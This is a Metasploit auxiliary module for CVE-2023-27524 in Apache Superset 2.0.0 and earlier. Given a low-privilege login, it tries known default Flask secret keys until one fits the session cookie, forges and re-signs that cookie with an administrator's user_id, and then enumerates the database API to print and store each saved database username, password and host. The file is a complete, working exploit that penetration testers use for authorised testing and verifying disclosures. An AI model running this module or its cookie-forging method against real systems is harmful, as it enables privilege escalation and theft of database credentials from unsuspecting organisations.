##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Superset Signed Cookie Priv Esc',
'Description' => %q{
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.
},
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'Spencer McIntyre', # MSF flask-unsign library
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
['EDB', '51447'],
['CVE', '2023-27524' ],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']
},
'DisclosureDate' => '2023-04-25'
)
)
register_options(
[
Opt::RPORT(8088),
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
]),
]
)
end
def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login')
})
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
unless res.body =~ /"version_string": "([\d.]+)"/
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
end
version = Rex::Version.new(Regexp.last_match(1))
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
else
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
end
end
def get_secret_key(cookie)
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def validate_cookie(decoded_cookie, secret_key)
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
return nil
end
data = res.get_json_document
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
return encoded_cookie
end
def run
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/
csrf_token = Regexp.last_match(1)
vprint_status("#{peer} - CSRF Token: #{csrf_token}")
cookie = res.get_cookies.to_s
print_status("#{peer} - Initial Cookie: #{cookie}")
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
print_status("#{peer} - Attempting login")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'keep_cookies' => true,
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'csrf_token' => csrf_token
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
cookie = res.get_cookies.to_s
print_good("#{peer} - Logged in Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
secret_key = get_secret_key(cookie)
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
decoded_cookie['user_id'] = datastore['ADMIN_ID']
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
admin_cookie = validate_cookie(decoded_cookie, secret_key)
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?
(1..101).each do |i|
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),
'cookie' => "session=#{admin_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401 || res.code == 404
print_status('Done enumerating databases')
break
end
result_json = res.get_json_document
db_display_name = result_json['result']['database_name']
db_name = result_json['result']['parameters']['database']
db_type = result_json['result']['backend']
db_host = result_json['result']['parameters']['host']
db_port = result_json['result']['parameters']['port']
db_pass = result_json['result']['parameters']['password']
db_user = result_json['result']['parameters']['username']
if framework.db.active
create_credential_and_login({
address: db_host,
port: db_port,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: db_type,
username: db_user,
private_type: :password,
private_data: db_pass,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
})
end
print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}")
end
end
end